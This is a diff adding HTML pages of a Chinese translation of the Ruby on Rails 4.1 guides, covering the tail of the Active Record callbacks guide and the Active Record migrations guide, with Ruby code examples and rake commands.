+  # :on takes an array as well
+  after_validation :set_location, on: [ :create, :update ]
+
+  protected
+    def normalize_name
+      self.name = self.name.downcase.titleize
+    end
+
+    def set_location
+      self.location = LocationService.query(self)
+    end
+end
+
+
+
+

一般情况下,都把回调方法定义为受保护的方法或私有方法。如果定义成公共方法,回调就可以在模型外部调用,违背了对象封装原则。

3 可用的回调

下面列出了所有可用的 Active Record 回调,按照执行各操作时触发的顺序:

3.1 创建对象

+
    +
  • before_validation
  • +
  • after_validation
  • +
  • before_save
  • +
  • around_save
  • +
  • before_create
  • +
  • around_create
  • +
  • after_create
  • +
  • after_save
  • +
+

3.2 更新对象

+
    +
  • before_validation
  • +
  • after_validation
  • +
  • before_save
  • +
  • around_save
  • +
  • before_update
  • +
  • around_update
  • +
  • after_update
  • +
  • after_save
  • +
+

3.3 销毁对象

+
    +
  • before_destroy
  • +
  • around_destroy
  • +
  • after_destroy
  • +
+

创建和更新对象时都会触发 after_save,但不管注册的顺序,总在 after_createafter_update 之后执行。

3.4 after_initializeafter_find +

after_initialize 回调在 Active Record 对象初始化时执行,包括直接使用 new 方法初始化和从数据库中读取记录。after_initialize 回调不用直接重定义 Active Record 的 initialize 方法。

after_find 回调在从数据库中读取记录时执行。如果同时注册了 after_findafter_initialize 回调,after_find 会先执行。

after_initializeafter_find 没有对应的 before_* 回调,但可以像其他回调一样注册。

+
+class User < ActiveRecord::Base
+  after_initialize do |user|
+    puts "You have initialized an object!"
+  end
+
+  after_find do |user|
+    puts "You have found an object!"
+  end
+end
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+
+
+
+

3.5 after_touch +

after_touch 回调在触碰 Active Record 对象时执行。

+
+class User < ActiveRecord::Base
+  after_touch do |user|
+    puts "You have touched an object"
+  end
+end
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+
+
+
+

可以结合 belongs_to 一起使用:

+
+class Employee < ActiveRecord::Base
+  belongs_to :company, touch: true
+  after_touch do
+    puts 'An Employee was touched'
+  end
+end
+
+class Company < ActiveRecord::Base
+  has_many :employees
+  after_touch :log_when_employees_or_company_touched
+
+  private
+  def log_when_employees_or_company_touched
+    puts 'Employee/Company was touched'
+  end
+end
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+
+
+
+

4 执行回调

下面的方法会触发执行回调:

+
    +
  • create
  • +
  • create!
  • +
  • decrement!
  • +
  • destroy
  • +
  • destroy!
  • +
  • destroy_all
  • +
  • increment!
  • +
  • save
  • +
  • save!
  • +
  • save(validate: false)
  • +
  • toggle!
  • +
  • update_attribute
  • +
  • update
  • +
  • update!
  • +
  • valid?
  • +
+

after_find 回调由以下查询方法触发执行:

+
    +
  • all
  • +
  • first
  • +
  • find
  • +
  • find_by
  • +
  • find_by_*
  • +
  • find_by_*!
  • +
  • find_by_sql
  • +
  • last
  • +
+

after_initialize 回调在新对象初始化时触发执行。

find_by_*find_by_*! 是为每个属性生成的动态查询方法,详情参见“动态查询方法”一节。

5 跳过回调

和数据验证一样,回调也可跳过,使用下列方法即可:

+
    +
  • decrement
  • +
  • decrement_counter
  • +
  • delete
  • +
  • delete_all
  • +
  • increment
  • +
  • increment_counter
  • +
  • toggle
  • +
  • touch
  • +
  • update_column
  • +
  • update_columns
  • +
  • update_all
  • +
  • update_counters
  • +
+

使用这些方法是要特别留心,因为重要的业务逻辑可能在回调中完成。如果没弄懂回调的作用直接跳过,可能导致数据不合法。

6 终止执行

在模型中注册回调后,回调会加入一个执行队列。这个队列中包含模型的数据验证,注册的回调,以及要执行的数据库操作。

整个回调链包含在一个事务中。如果任何一个 before_* 回调方法返回 false 或抛出异常,整个回调链都会终止执行,撤销事务;而 after_* 回调只有抛出异常才能达到相同的效果。

ActiveRecord::Rollback 之外的异常在回调链终止之后,还会由 Rails 再次抛出。抛出 ActiveRecord::Rollback 之外的异常,可能导致不应该抛出异常的方法(例如 saveupdate_attributes,应该返回 truefalse)无法执行。

7 关联回调

回调能在模型关联中使用,甚至可由关联定义。假如一个用户发布了多篇文章,如果用户删除了,他发布的文章也应该删除。下面我们在 Post 模型中注册一个 after_destroy 回调,应用到 User 模型上:

+
+class User < ActiveRecord::Base
+  has_many :posts, dependent: :destroy
+end
+
+class Post < ActiveRecord::Base
+  after_destroy :log_destroy_action
+
+  def log_destroy_action
+    puts 'Post destroyed'
+  end
+end
+
+>> user = User.first
+=> #<User id: 1>
+>> user.posts.create!
+=> #<Post id: 1, user_id: 1>
+>> user.destroy
+Post destroyed
+=> #<User id: 1>
+
+
+
+

8 条件回调

和数据验证类似,也可以在满足指定条件时再调用回调方法。条件通过 :if:unless 选项指定,选项的值可以是 Symbol、字符串、Proc 或数组。:if 选项指定什么时候调用回调。如果要指定何时不调用回调,使用 :unless 选项。

8.1 使用 Symbol

:if 和 :unless 选项的值为 Symbol 时,表示要在调用回调之前执行对应的判断方法。使用 :if 选项时,如果判断方法返回 false,就不会调用回调;使用 :unless 选项时,如果判断方法返回 true,就不会调用回调。Symbol 是最常用的设置方式。使用这种方式注册回调时,可以使用多个判断方法检查是否要调用回调。

+
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number, if: :paid_with_card?
+end
+
+
+
+

8.2 使用字符串

:if:unless 选项的值还可以是字符串,但必须是 RUby 代码,传入 eval 方法中执行。当字符串表示的条件非常短时才应该是使用这种形式。

+
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number, if: "paid_with_card?"
+end
+
+
+
+

8.3 使用 Proc

:if:unless 选项的值还可以是 Proc 对象。这种形式最适合用在一行代码能表示的条件上。

+
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number,
+    if: Proc.new { |order| order.paid_with_card? }
+end
+
+
+
+

8.4 回调的多重条件

注册条件回调时,可以同时使用 :if:unless 选项:

+
+class Comment < ActiveRecord::Base
+  after_create :send_email_to_author, if: :author_wants_emails?,
+    unless: Proc.new { |comment| comment.post.ignore_comments? }
+end
+
+
+
+

9 回调类

有时回调方法可以在其他模型中重用,我们可以将其封装在类中。

在下面这个例子中,我们为 PictureFile 模型定义了一个 after_destroy 回调:

+
+class PictureFileCallbacks
+  def after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+
+
+
+

在类中定义回调方法时(如上),可把模型对象作为参数传入。然后可以在模型中使用这个回调:

+
+class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks.new
+end
+
+
+
+

注意,因为回调方法被定义成实例方法,所以要实例化 PictureFileCallbacks。如果回调要使用实例化对象的状态,使用这种定义方式很有用。不过,一般情况下,定义为类方法更说得通:

+
+class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+
+
+
+

如果按照这种方式定义回调方法,就不用实例化 PictureFileCallbacks

+
+class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks
+end
+
+
+
+

在回调类中可以定义任意数量的回调方法。

10 事务回调

还有两个回调会在数据库事务完成时触发:after_commitafter_rollback。这两个回调和 after_save 很像,只不过在数据库操作提交或回滚之前不会执行。如果模型要和数据库事务之外的系统交互,就可以使用这两个回调。

例如,在前面的例子中,PictureFile 模型中的记录删除后,还要删除相应的文件。如果执行 after_destroy 回调之后程序抛出了异常,事务就会回滚,文件会被删除,但模型的状态前后不一致。假设在下面的代码中,picture_file_2 是不合法的,那么调用 save! 方法会抛出异常。

+
+PictureFile.transaction do
+  picture_file_1.destroy
+  picture_file_2.save!
+end
+
+
+
+

使用 after_commit 回调可以解决这个问题。

+
+class PictureFile < ActiveRecord::Base
+  after_commit :delete_picture_file_from_disk, on: [:destroy]
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
+end
+
+
+
+

:on 选项指定什么时候出发回调。如果不设置 :on 选项,每各个操作都会触发回调。

after_commitafter_rollback 回调确保模型的创建、更新和销毁等操作在事务中完成。如果这两个回调抛出了异常,会被忽略,因此不会干扰其他回调。因此,如果回调可能抛出异常,就要做适当的补救和处理。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_record_migrations.html b/v4.1/active_record_migrations.html new file mode 100644 index 0000000..46df310 --- /dev/null +++ b/v4.1/active_record_migrations.html @@ -0,0 +1,895 @@ + + + + + + + +Active Record 数据库迁移 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Record 数据库迁移

迁移是 Active Record 提供的一个功能,按照时间顺序管理数据库模式。使用迁移,无需编写 SQL,使用简单的 Ruby DSL 就能修改数据表。

读完本文,你将学到:

+
    +
  • 生成迁移文件的生成器;
  • +
  • Active Record 提供用来修改数据库的方法;
  • +
  • 管理迁移和数据库模式的 Rake 任务;
  • +
  • 迁移和 schema.rb 文件的关系;
  • +
+ + + + +
+
+ +
+
+
+

1 迁移简介

迁移使用一种统一、简单的方式,按照时间顺序修改数据库的模式。迁移使用 Ruby DSL 编写,因此不用手动编写 SQL 语句,对数据库的操作和所用的数据库种类无关。

你可以把每个迁移看做数据库的一个修订版本。数据库中一开始什么也没有,各个迁移会添加或删除数据表、字段或记录。Active Record 知道如何按照时间线更新数据库,不管数据库现在的模式如何,都能更新到最新结构。同时,Active Record 还会更新 db/schema.rb 文件,匹配最新的数据库结构。

下面是一个迁移示例:

+
+class CreateProducts < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

这个迁移创建了一个名为 products 的表,然后在表中创建字符串字段 name 和文本字段 description。名为 id 的主键字段会被自动创建。id 字段是所有 Active Record 模型的默认主键。timestamps 方法创建两个字段:created_atupdated_at。如果数据表中有这两个字段,Active Record 会负责操作。

注意,对数据库的改动按照时间向前 推移。运行迁移之前,数据表还不存在。运行迁移后,才会创建数据表。Active Record 知道如何撤销迁移,如果回滚这次迁移,数据表会被删除。

在支持事务的数据库中,对模式的改动会在一个事务中执行。如果数据库不支持事务,迁移失败时,成功执行的操作将无法回滚。如要回滚,必须手动改回来。

某些查询无法在事务中运行。如果适配器支持 DDL 事务,可以在某个迁移中调用 disable_ddl_transaction! 方法禁用。

如果想在迁移中执行 Active Record 不知如何撤销的操作,可以使用 reversible 方法:

+
+class ChangeProductsPrice < ActiveRecord::Migration
+  def change
+    reversible do |dir|
+      change_table :products do |t|
+        dir.up   { t.change :price, :string }
+        dir.down { t.change :price, :integer }
+      end
+    end
+  end
+end
+
+
+
+

或者不用 change 方法,分别使用 updown 方法:

+
+class ChangeProductsPrice < ActiveRecord::Migration
+  def up
+    change_table :products do |t|
+      t.change :price, :string
+    end
+  end
+
+  def down
+    change_table :products do |t|
+      t.change :price, :integer
+    end
+  end
+end
+
+
+
+

2 创建迁移

2.1 单独创建迁移

迁移文件存储在 db/migrate 文件夹中,每个迁移保存在一个文件中。文件名采用 YYYYMMDDHHMMSS_create_products.rb 形式,即一个 UTC 时间戳后加以下划线分隔的迁移名。迁移的类名(驼峰式)要和文件名时间戳后面的部分匹配。例如,在 20080906120000_create_products.rb 文件中要定义 CreateProducts 类;在 20080906120001_add_details_to_products.rb 文件中要定义 AddDetailsToProducts 类。文件名中的时间戳决定要运行哪个迁移,以及按照什么顺序运行。从其他程序中复制迁移,或者自己生成迁移时,要注意运行的顺序。

自己计算时间戳不是件简单的事,所以 Active Record 提供了一个生成器:

+
+$ rails generate migration AddPartNumberToProducts
+
+
+
+

这个命令生成一个空的迁移,但名字已经起好了:

+
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def change
+  end
+end
+
+
+
+

如果迁移的名字是“AddXXXToYYY”或者“RemoveXXXFromYYY”这种格式,而且后面跟着一个字段名和类型列表,那么迁移中会生成合适的 add_columnremove_column 语句。

+
+$ rails generate migration AddPartNumberToProducts part_number:string
+
+
+
+

这个命令生成的迁移如下:

+
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :part_number, :string
+  end
+end
+
+
+
+

如果想为新建的字段创建添加索引,可以这么做:

+
+$ rails generate migration AddPartNumberToProducts part_number:string:index
+
+
+
+

这个命令生成的迁移如下:

+
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :part_number, :string
+    add_index :products, :part_number
+  end
+end
+
+
+
+

类似地,还可以生成删除字段的迁移:

+
+$ rails generate migration RemovePartNumberFromProducts part_number:string
+
+
+
+

这个命令生成的迁移如下:

+
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+  def change
+    remove_column :products, :part_number, :string
+  end
+end
+
+
+
+

迁移生成器不单只能创建一个字段,例如:

+
+$ rails generate migration AddDetailsToProducts part_number:string price:decimal
+
+
+
+

生成的迁移如下:

+
+class AddDetailsToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+end
+
+
+
+

如果迁移名是“CreateXXX”形式,后面跟着一串字段名和类型声明,迁移就会创建名为“XXX”的表,以及相应的字段。例如:

+
+$ rails generate migration CreateProducts name:string part_number:string
+
+
+
+

生成的迁移如下:

+
+class CreateProducts < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.string :part_number
+    end
+  end
+end
+
+
+
+

生成器生成的只是一些基础代码,你可以根据需要修改 db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb 文件,增删代码。

在生成器中还可把字段类型设为 references(还可使用 belongs_to)。例如:

+
+$ rails generate migration AddUserRefToProducts user:references
+
+
+
+

生成的迁移如下:

+
+class AddUserRefToProducts < ActiveRecord::Migration
+  def change
+    add_reference :products, :user, index: true
+  end
+end
+
+
+
+

这个迁移会创建 user_id 字段,并建立索引。

如果迁移名中包含 JoinTable,生成器还会创建联合数据表:

+
+rails g migration CreateJoinTableCustomerProduct customer product
+
+
+
+

生成的迁移如下:

+
+class CreateJoinTableCustomerProduct < ActiveRecord::Migration
+  def change
+    create_join_table :customers, :products do |t|
+      # t.index [:customer_id, :product_id]
+      # t.index [:product_id, :customer_id]
+    end
+  end
+end
+
+
+
+

2.2 模型生成器

模型生成器和脚手架生成器会生成合适的迁移,创建模型。迁移中会包含创建所需数据表的代码。如果在生成器中指定了字段,还会生成创建字段的代码。例如,运行下面的命令:

+
+$ rails generate model Product name:string description:text
+
+
+
+

会生成如下的迁移:

+
+class CreateProducts < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

字段的名字和类型数量不限。

2.3 支持的类型修饰符

在字段类型后面,可以在花括号中添加选项。可用的修饰符如下:

+
    +
  • +limit:设置 string/text/binary/integer 类型字段的最大值;
  • +
  • +precision:设置 decimal 类型字段的精度,即数字的位数;
  • +
  • +scale:设置 decimal 类型字段小数点后的数字位数;
  • +
  • +polymorphic:为 belongs_to 关联添加 type 字段;
  • +
  • +null:是否允许该字段的值为 NULL
  • +
+

例如,执行下面的命令:

+
+$ rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
+
+
+
+

生成的迁移如下:

+
+class AddDetailsToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :price, :decimal, precision: 5, scale: 2
+    add_reference :products, :supplier, polymorphic: true, index: true
+  end
+end
+
+
+
+

3 编写迁移

使用前面介绍的生成器生成迁移后,就可以开始写代码了。

3.1 创建数据表

create_table 方法最常用,大多数时候都会由模型或脚手架生成器生成。典型的用例如下:

+
+create_table :products do |t|
+  t.string :name
+end
+
+
+
+

这个迁移会创建 products 数据表,在数据表中创建 name 字段(后面会介绍,还会自动创建 id 字段)。

默认情况下,create_table 方法会创建名为 id 的主键。通过 :primary_key 选项可以修改主键名(修改后别忘了修改相应的模型)。如果不想生成主键,可以传入 id: false 选项。如果设置数据库的选项,可以在 :options 选择中使用 SQL。例如:

+
+create_table :products, options: "ENGINE=BLACKHOLE" do |t|
+  t.string :name, null: false
+end
+
+
+
+

这样设置之后,会在创建数据表的 SQL 语句后面加上 ENGINE=BLACKHOLE。(MySQL 默认的选项是 ENGINE=InnoDB

3.2 创建联合数据表

create_join_table 方法用来创建 HABTM 联合数据表。典型的用例如下:

+
+create_join_table :products, :categories
+
+
+
+

这段代码会创建一个名为 categories_products 的数据表,包含两个字段:category_idproduct_id。这两个字段的 :null 选项默认情况都是 false,不过可在 :column_options 选项中设置。

+
+create_join_table :products, :categories, column_options: {null: true}
+
+
+
+

这段代码会把 product_idcategory_id 字段的 :null 选项设为 true

如果想修改数据表的名字,可以传入 :table_name 选项。例如:

+
+create_join_table :products, :categories, table_name: :categorization
+
+
+
+

创建的数据表名为 categorization

create_join_table 还可接受代码库,用来创建索引(默认无索引)或其他字段。

+
+create_join_table :products, :categories do |t|
+  t.index :product_id
+  t.index :category_id
+end
+
+
+
+

3.3 修改数据表

有一个和 create_table 类似地方法,名为 change_table,用来修改现有的数据表。其用法和 create_table 类似,不过传入块的参数知道更多技巧。例如:

+
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+
+
+
+

这段代码删除了 descriptionname 字段,创建 part_number 字符串字段,并建立索引,最后重命名 upccode 字段。

3.4 如果帮助方法不够用

如果 Active Record 提供的帮助方法不够用,可以使用 execute 方法,执行任意的 SQL 语句:

+
+Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
+
+
+
+

各方法的详细用法请查阅 API 文档:

+ +

3.5 使用 change 方法

change 是迁移中最常用的方法,大多数情况下都能完成指定的操作,而且 Active Record 知道如何撤这些操作。目前,在 change 方法中只能使用下面的方法:

+
    +
  • add_column
  • +
  • add_index
  • +
  • add_reference
  • +
  • add_timestamps
  • +
  • create_table
  • +
  • create_join_table
  • +
  • +drop_table(必须提供代码块)
  • +
  • +drop_join_table(必须提供代码块)
  • +
  • remove_timestamps
  • +
  • rename_column
  • +
  • rename_index
  • +
  • remove_reference
  • +
  • rename_table
  • +
+

只要在块中不使用 changechange_defaultremove 方法,change_table 中的操作也是可逆的。

如果要使用任何其他方法,可以使用 reversible 方法,或者不定义 change 方法,而分别定义 updown 方法。

3.6 使用 reversible 方法

Active Record 可能不知如何撤销复杂的迁移操作,这时可以使用 reversible 方法指定运行迁移和撤销迁移时怎么操作。例如:

+
+class ExampleMigration < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.references :category
+    end
+
+    reversible do |dir|
+      dir.up do
+        #add a foreign key
+        execute <<-SQL
+          ALTER TABLE products
+            ADD CONSTRAINT fk_products_categories
+            FOREIGN KEY (category_id)
+            REFERENCES categories(id)
+        SQL
+      end
+      dir.down do
+        execute <<-SQL
+          ALTER TABLE products
+            DROP FOREIGN KEY fk_products_categories
+        SQL
+      end
+    end
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+
+
+
+

使用 reversible 方法还能确保操作按顺序执行。在上面的例子中,如果撤销迁移,down 代码块会在 home_page_url 字段删除后、products 数据表删除前运行。

有时,迁移的操作根本无法撤销,例如删除数据。这是,可以在 down 代码块中抛出 ActiveRecord::IrreversibleMigration 异常。如果有人尝试撤销迁移,会看到一个错误消息,告诉他无法撤销。

3.7 使用 updown 方法

在迁移中可以不用 change 方法,而用 updown 方法。up 方法定义要对数据库模式做哪些操作,down 方法用来撤销这些操作。也就是说,如果执行 up 后立即执行 down,数据库的模式应该没有任何变化。例如,在 up 中创建了数据表,在 down 方法中就要将其删除。撤销时最好按照添加的相反顺序进行。前一节中的 reversible 用法示例代码可以改成:

+
+class ExampleMigration < ActiveRecord::Migration
+  def up
+    create_table :products do |t|
+      t.references :category
+    end
+
+    # add a foreign key
+    execute <<-SQL
+      ALTER TABLE products
+        ADD CONSTRAINT fk_products_categories
+        FOREIGN KEY (category_id)
+        REFERENCES categories(id)
+    SQL
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+
+  def down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+
+    execute <<-SQL
+      ALTER TABLE products
+        DROP FOREIGN KEY fk_products_categories
+    SQL
+
+    drop_table :products
+  end
+end
+
+
+
+

如果迁移不可撤销,应该在 down 方法中抛出 ActiveRecord::IrreversibleMigration 异常。如果有人尝试撤销迁移,会看到一个错误消息,告诉他无法撤销。

3.8 撤销之前的迁移

Active Record 提供了撤销迁移的功能,通过 revert 方法实现:

+
+require_relative '2012121212_example_migration'
+
+class FixupExampleMigration < ActiveRecord::Migration
+  def change
+    revert ExampleMigration
+
+    create_table(:apples) do |t|
+      t.string :variety
+    end
+  end
+end
+
+
+
+

revert 方法还可接受一个块,定义撤销操作。revert 方法可用来撤销以前迁移的部分操作。例如,ExampleMigration 已经执行,但后来觉得最好还是序列化产品列表。那么,可以编写下面的代码:

+
+class SerializeProductListMigration < ActiveRecord::Migration
+  def change
+    add_column :categories, :product_list
+
+    reversible do |dir|
+      dir.up do
+        # transfer data from Products to Category#product_list
+      end
+      dir.down do
+        # create Products from Category#product_list
+      end
+    end
+
+    revert do
+      # copy-pasted code from ExampleMigration
+      create_table :products do |t|
+        t.references :category
+      end
+
+      reversible do |dir|
+        dir.up do
+          #add a foreign key
+          execute <<-SQL
+            ALTER TABLE products
+              ADD CONSTRAINT fk_products_categories
+              FOREIGN KEY (category_id)
+              REFERENCES categories(id)
+          SQL
+        end
+        dir.down do
+          execute <<-SQL
+            ALTER TABLE products
+              DROP FOREIGN KEY fk_products_categories
+          SQL
+        end
+      end
+
+      # The rest of the migration was ok
+    end
+  end
+end
+
+
+
+

上面这个迁移也可以不用 revert 方法,不过步骤就多了:调换 create_tablereversible 的顺序,把 create_table 换成 drop_table,还要对调 updown 中的代码。这些操作都可交给 revert 方法完成。

4 运行迁移

Rails 提供了很多 Rake 任务,用来执行指定的迁移。

其中最常使用的是 rake db:migrate,执行还没执行的迁移中的 changeup 方法。如果没有未运行的迁移,直接退出。rake db:migrate 按照迁移文件名中时间戳顺序执行迁移。

注意,执行 db:migrate 时还会执行 db:schema:dump,更新 db/schema.rb 文件,匹配数据库的结构。

如果指定了版本,Active Record 会运行该版本之前的所有迁移。版本就是迁移文件名前的数字部分。例如,要运行 20080906120000 这个迁移,可以执行下面的命令:

+
+$ rake db:migrate VERSION=20080906120000
+
+
+
+

如果 20080906120000 比当前的版本高,上面的命令就会执行所有 20080906120000 之前(包括 20080906120000)的迁移中的 changeup 方法,但不会运行 20080906120000 之后的迁移。如果回滚迁移,则会执行 20080906120000 之前(不包括 20080906120000)的迁移中的 down 方法。

4.1 回滚

还有一个常用的操作时回滚到之前的迁移。例如,迁移代码写错了,想纠正。我们无须查找迁移的版本号,直接执行下面的命令即可:

+
+$ rake db:rollback
+
+
+
+

这个命令会回滚上一次迁移,撤销 change 方法中的操作,或者执行 down 方法。如果想撤销多个迁移,可以使用 STEP 参数:

+
+$ rake db:rollback STEP=3
+
+
+
+

这个命令会撤销前三次迁移。

db:migrate:redo 命令可以回滚上一次迁移,然后再次执行迁移。和 db:rollback 一样,如果想重做多次迁移,可以使用 STEP 参数。例如:

+
+$ rake db:migrate:redo STEP=3
+
+
+
+

这些 Rake 任务的作用和 db:migrate 一样,只是用起来更方便,因为无需查找特定的迁移版本号。

4.2 搭建数据库

rake db:setup 任务会创建数据库,加载模式,并填充种子数据。

4.3 重建数据库

rake db:reset 任务会删除数据库,然后重建,等价于 rake db:drop db:setup

这个任务和执行所有迁移的作用不同。rake db:reset 使用的是 schema.rb 文件中的内容。如果迁移无法回滚,rake db:reset 起不了作用。详细介绍参见“导出模式”一节。

4.4 运行指定的迁移

如果想执行指定迁移,或者撤销指定迁移,可以使用 db:migrate:updb:migrate:down 任务,指定相应的版本号,就会根据需求调用 changeupdown 方法。例如:

+
+$ rake db:migrate:up VERSION=20080906120000
+
+
+
+

这个命令会执行 20080906120000 迁移中的 change 方法或 up 方法。db:migrate:up 首先会检测指定的迁移是否已经运行,如果 Active Record 任务已经执行,就不会做任何操作。

4.5 在不同的环境中运行迁移

默认情况下,rake db:migrate 任务在 development 环境中执行。要在其他环境中运行迁移,执行命令时可以使用环境变量 RAILS_ENV 指定环境。例如,要在 test 环境中运行迁移,可以执行下面的命令:

+
+$ rake db:migrate RAILS_ENV=test
+
+
+
+

4.6 修改运行迁移时的输出

默认情况下,运行迁移时,会输出操作了哪些操作,以及花了多长时间。创建数据表并添加索引的迁移产生的输出如下:

+
+==  CreateProducts: migrating =================================================
+-- create_table(:products)
+   -> 0.0028s
+==  CreateProducts: migrated (0.0028s) ========================================
+
+
+
+

在迁移中可以使用很多方法,控制输出:

+ + + + + + + + + + + + + + + + + + + + + +
方法作用
suppress_messages接受一个代码块,禁止代码块中所有操作的输出
say接受一个消息字符串作为参数,将其输出。第二个参数是布尔值,指定输出结果是否缩进
say_with_time输出文本,以及执行代码块中操作所用时间。如果代码块的返回结果是整数,会当做操作的记录数量
+

例如,下面这个迁移:

+
+class CreateProducts < ActiveRecord::Migration
+  def change
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+
+    say "Created a table"
+
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+end
+
+
+
+

输出结果是:

+
+==  CreateProducts: migrating =================================================
+-- Created a table
+   -> and an index!
+-- Waiting for a while
+   -> 10.0013s
+   -> 250 rows
+==  CreateProducts: migrated (10.0054s) =======================================
+
+
+
+

如果不想让 Active Record 输出任何结果,可以使用 rake db:migrate VERBOSE=false

5 修改现有的迁移

有时编写的迁移中可能有错误,如果已经运行了迁移,不能直接编辑迁移文件再运行迁移。Rails 认为这个迁移已经运行,所以执行 rake db:migrate 任务时什么也不会做。这种情况必须先回滚迁移(例如,执行 rake db:rollback 任务),编辑迁移文件后再执行 rake db:migrate 任务执行改正后的版本。

一般来说,直接修改现有的迁移不是个好主意。这么做会为你以及你的同事带来额外的工作量,如果这个迁移已经在生产服务器上运行过,还可能带来不必要的麻烦。你应该编写一个新的迁移,做所需的改动。编辑新生成还未纳入版本控制的迁移(或者更宽泛地说,还没有出现在开发设备之外),相对来说是安全的。

在新迁移中撤销之前迁移中的全部操作或者部分操作可以使用 revert 方法。(参见前面的 撤销之前的迁移 一节)

6 导出模式

6.1 模式文件的作用

迁移的作用并不是为数据库模式提供可信的参考源。db/schema.rb 或由 Active Record 生成的 SQL 文件才有这个作用。db/schema.rb 这些文件不可修改,其目的是表示数据库的当前结构。

部署新程序时,无需运行全部的迁移。直接加载数据库结构要简单快速得多。

例如,测试数据库是这样创建的:导出开发数据库的结构(存入文件 db/schema.rbdb/structure.sql),然后导入测试数据库。

模式文件还可以用来快速查看 Active Record 中有哪些属性。模型中没有属性信息,而且迁移会频繁修改属性,但是模式文件中有最终的结果。annotate_models gem 会在模型文件的顶部加入注释,自动添加并更新模型的模式。

6.2 导出的模式文件类型

导出模式有两种方法,由 config/application.rb 文件中的 config.active_record.schema_format 选项设置,可以是 :sql:ruby

如果设为 :ruby,导出的模式保存在 db/schema.rb 文件中。打开这个文件,你会发现内容很多,就像一个很大的迁移:

+
+ActiveRecord::Schema.define(version: 20080906171750) do
+  create_table "authors", force: true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", force: true do |t|
+    t.string   "name"
+    t.text "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string "part_number"
+  end
+end
+
+
+
+

大多数情况下,文件的内容都是这样。这个文件使用 create_tableadd_index 等方法审查数据库的结构。这个文件盒使用的数据库类型无关,可以导入任何一种 Active Record 支持的数据库。如果开发的程序需要兼容多种数据库,可以使用这个文件。

不过 db/schema.rb 也有缺点:无法执行数据库的某些操作,例如外键约束,触发器,存储过程。在迁移文件中可以执行 SQL 语句,但导出模式的程序无法从数据库中重建这些语句。如果你的程序用到了前面提到的数据库操作,可以把模式文件的格式设为 :sql

:sql 格式的文件不使用 Active Record 的模式导出程序,而使用数据库自带的导出工具(执行 db:structure:dump 任务),把数据库模式导入 db/structure.sql 文件。例如,PostgreSQL 使用 pg_dump 导出模式。如果使用 MySQL,db/structure.sql 文件中会出现多个 SHOW CREATE TABLE 用来创建数据表的语句。

加载模式时,只要执行其中的 SQL 语句即可。按预期,导入后会创建一个完整的数据库结构。使用 :sql 格式,就不能把模式导入其他类型的数据库中了。

6.3 模式导出和版本控制

因为导出的模式文件是数据库模式的可信源,强烈推荐将其纳入版本控制。

7 Active Record 和引用完整性

Active Record 在模型中,而不是数据库中设置关联。因此,需要在数据库中实现的功能,例如触发器、外键约束,不太常用。

